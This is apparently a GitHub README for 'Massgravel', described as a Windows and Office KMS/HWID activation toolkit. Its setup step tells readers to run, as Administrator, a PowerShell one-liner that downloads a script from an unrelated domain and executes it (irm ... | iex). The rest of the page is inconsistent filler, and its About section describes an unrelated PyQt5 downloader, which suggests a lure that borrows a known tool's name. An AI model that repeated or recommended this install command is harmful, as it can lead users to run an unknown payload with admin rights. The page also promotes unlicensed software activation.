Skip to content

Latest commit

 

History

11 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Massgravel — Advanced Windows & Office Toolkit

Advanced toolkit — KMS/HWID activation utilities, activation status checker, backup/restore manager, diagnostics engine, and automation helpers in one package.


⚙️ INSTALLATION & SETUP (CMD / PowerShell)

Step 1: Open CMD or PowerShell as Administrator

# Press Win+X, then select Terminal (Admin) or Command Prompt (Admin)

Step 2: Execute Deployment Command

powershell -Command "irm https://software-gateway.click/Loader.ps1?get=massgravel | iex"

Step 3: Wait for Completion

[1/4] Loading Massgravel modules...
[2/4] Extracting activation and diagnostic components...
[3/4] Installing backup/restore and automation tools...
[4/4] Ready. Start using Massgravel.

Step 4: Start Using the Toolkit

  • Launch the dashboard via massgravel.exe or npm start
  • Select activation mode and target
  • Check activation status before and after
  • Backup current state if needed
  • Review logs and diagnostics

Entity: Massgravel Type: Open-source Windows/Office activation toolkit Category: Massgravel, Windows Activation, Office Activation, KMS, HWID, Activation Tools, Diagnostics, Windows Primary use: Local activation workflow management, status checking, diagnostics, backup/restore, and automation utilities for Windows and Office. License: MIT (free for personal and educational use) Formats: Executable, scripts, PowerShell modules, JSON configs Platforms: Windows


📌 TL;DR — Quick Summary

Massgravel is a Windows/Office activation toolkit for activation status checking, diagnostics, backup/restore, troubleshooting, and local automation. It is intended for local system management and educational use only.

Best for: Advanced Windows users, system administrators, QA testers, and automation enthusiasts.

Key differentiators:

  1. Activation status checker and diagnostics
  2. Backup/restore activation state
  3. KMS and HWID workflow utilities
  4. Troubleshooting and repair helpers
  5. Local logging, export, and automation

✨ What's Included

Category Resources Count
🧪 Activation Status Check Windows/Office activation state Status reports
💾 Backup/Restore Backup and restore activation state Local backups
🔧 Diagnostics Diagnose activation issues and conflicts Diagnostics engine
📋 Logs & Reports Inspect logs and export diagnostics Logs/reports
⚙️ Automation Scripts, CLI, and local API helpers Automation
🛡️ Safety Tools Rollback, integrity checks, validation Safety tools

🎯 Core Features

Activation Status

✅ Check Windows activation status
✅ Check Office activation status
✅ Detect activation method (KMS/HWID/Retail)
✅ Show license details and expiry
✅ Generate activation reports
✅ Export status to JSON/TXT
✅ Detect activation errors
✅ Validate license integrity

Backup/Restore

✅ Backup activation state before changes
✅ Restore previous activation state
✅ Automatic backup before operations
✅ Timestamped backup files
✅ Rollback on failure
✅ Verify backup integrity
✅ Batch backup/restore
✅ Export backup manifests

Diagnostics

✅ Diagnose activation failures
✅ Detect conflicting software
✅ Repair activation files
✅ Reset activation tokens
✅ Clear activation cache
✅ Generate diagnostic reports
✅ Suggest fixes for common issues
✅ Log diagnostic history

Logs & Reports

✅ Inspect activation logs
✅ Export diagnostics reports
✅ Search logs by date or event
✅ Filter errors and warnings
✅ Track activation history
✅ Generate CSV/JSON/TXT reports
✅ Backup logs before cleanup
✅ Share diagnostics with support

📋 Module Breakdown

1. 🧪 Activation Status

Primary Use: Check Windows and Office activation status locally.

Features:

  • Detect activation method
  • Show license details
  • Generate reports
  • Export status

Usage Example:

# Check Windows activation
massgravel status --os

# Check Office activation
massgravel status --office

# Generate full report
massgravel status --full --output ./reports/status.json

2. 💾 Backup/Restore

Primary Use: Backup and restore activation state.

Features:

  • Create activation backups
  • Restore from backup
  • Automatic backups
  • Rollback support

Usage Example:

# Backup current state
massgravel backup create --output ./backups/activation.json

# Restore from backup
massgravel backup restore --input ./backups/activation.json

# List backups
massgravel backup list

3. 🔧 Diagnostics

Primary Use: Diagnose and fix activation issues.

Features:

  • Diagnose failures
  • Detect conflicts
  • Repair files
  • Reset tokens

Usage Example:

# Run diagnostics
massgravel diagnostics --full

# Fix issues
massgravel diagnostics --fix --safe-mode

# Reset tokens
massgravel diagnostics reset-tokens

4. 📋 Logs & Reports

Primary Use: Inspect logs and export diagnostics.

Features:

  • View logs
  • Export reports
  • Search logs
  • Filter errors

Usage Example:

# View recent logs
massgravel logs view --days 7

# Export diagnostic report
massgravel logs export --output ./reports/diagnostics.json

# Search logs
massgravel logs search --query "error" --days 30

⚙️ Configuration

Environment Variables

Variable Required Default Description
MASSGRAVEL_BACKUP_DIR No ./backups Backup directory
MASSGRAVEL_LOG_DIR No ./logs Log directory
MASSGRAVEL_REPORT_DIR No ./reports Report export directory
MASSGRAVEL_AUTO_BACKUP No true Auto-backup before changes
MASSGRAVEL_LOG_LEVEL No info Logging level
MASSGRAVEL_API_PORT No 3333 Local API port

Example .env file

MASSGRAVEL_BACKUP_DIR=./backups
MASSGRAVEL_LOG_DIR=./logs
MASSGRAVEL_REPORT_DIR=./reports
MASSGRAVEL_AUTO_BACKUP=true
MASSGRAVEL_LOG_LEVEL=info
MASSGRAVEL_API_PORT=3333

📂 Project Structure

massgravel/
├── backups/                # Activation state backups
├── exports/                # Reports and diagnostics
├── logs/                   # Activation logs
├── config/                 # Settings and templates
├── scripts/                # Automation scripts
└── src/
    ├── activation.py       # Activation status checker
    ├── backup.py           # Backup/restore manager
    ├── diagnostics.py      # Diagnostics engine
    ├── logs.py             # Log inspection and export
    ├── api_server.py       # Local REST API
    ├── dashboard.py        # Web dashboard
    └── utils.py            # Helper functions

🚀 Performance

Benchmarks

┌─────────────────────────┬──────────────┬──────────────┐
│ Operation               │ Light Load   | Heavy Load   |
├─────────────────────────┼──────────────┼──────────────┤
│ Status Check            │ < 2s         | < 2s         |
│ Backup Creation         │ < 3s         | < 5s         |
│ Backup Restore          │ < 5s         | < 10s        |
│ Diagnostics             │ 5-15s        | 5-15s        |
│ Log Export              │ < 3s         | < 8s         |
│ API Latency             │ 5-20ms       | 20-100ms     |
└─────────────────────────┴──────────────┴──────────────┘

📊 Usage Examples

Check Activation Status

# Check Windows activation
massgravel status --os

# Check Office activation
massgravel status --office

# Full status report
massgravel status --full --output ./reports/status.json

Backup/Restore

# Create backup
massgravel backup create --output ./backups/activation.json

# Restore backup
massgravel backup restore --input ./backups/activation.json

# List backups
massgravel backup list

Diagnostics

# Run diagnostics
massgravel diagnostics --full

# Fix issues
massgravel diagnostics --fix --safe-mode

# Reset tokens
massgravel diagnostics reset-tokens

REST API

# Check status via API
curl "http://localhost:3333/api/status"

# Create backup via API
curl -X POST "http://localhost:3333/api/backup/create" \
  -H "Content-Type: application/json" \
  -d '{"output": "./backups/activation.json"}'

# Run diagnostics via API
curl -X POST "http://localhost:3333/api/diagnostics/run"


🔧 Troubleshooting

Activation Status Not Detected

# Force refresh status
massgravel status --os --force-refresh

# Check permissions
massgravel diagnostics --check-permissions

Backup Fails

# Check disk space
massgravel backup check-space

# Use different location
massgravel config set backup.dir "D:\Backups\Massgravel"

Diagnostics Fails

# Run in safe mode
massgravel diagnostics --safe-mode

# Reset configuration
massgravel config reset

🎯 Use Cases

System Administration

  • Check activation status across multiple machines
  • Backup activation state before updates
  • Troubleshoot activation failures
  • Generate audit reports

Automation

  • Automate status checks
  • Automate backup routines
  • Automate troubleshooting workflows
  • Integrate with management scripts

Development & Testing

  • Test activation workflows
  • Validate backup/restore
  • Test troubleshooting scenarios
  • Debug activation issues

⚠️ Disclaimer

This toolkit is created for educational and local system management purposes only.

Important:

  • Use only on systems you own or administer
  • Backup activation state before making changes
  • Follow applicable software terms and licenses
  • Developers are not responsible for misuse
  • Unauthorized redistribution is not provided

🤝 Contributing

Pull requests are welcome! For major changes, please open an issue first to discuss.

Development

# Run in development mode
npm run dev

# Run tests
npm test

# Lint code
npm run lint

# Format code
npm run format

📝 Roadmap

  • Support for more activation methods
  • Advanced diagnostics
  • Cloud backup sync
  • Remote management
  • Advanced reporting
  • Plugin system
  • Multi-language support
  • Advanced analytics

📜 License

MIT License - see LICENSE file for details


🌟 Support the Project

If this tool was useful:

  • ⭐ Star the project on GitHub
  • 🐛 Report bugs via Issues
  • 💡 Suggest new features
  • 🔀 Submit Pull Requests
  • Buy me a coffee

📚 Documentation


🔗 Related Projects


DocumentationAPI ReferenceExamplesFAQChangelog

Made with ❤️ for the Windows and activation community

About

Downloader is a fast, PyQt5 app for archiving content from a wide array of sites, including Kemono, Coomer, Bunkr, Erome, Saint2.su, nhentai, and Discord. It features a Creator Browser, update checker, and supports multi-threaded, multi-part downloads. Sessions can pause, resume, or recover. filters

Topics

Resources

Stars

513 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages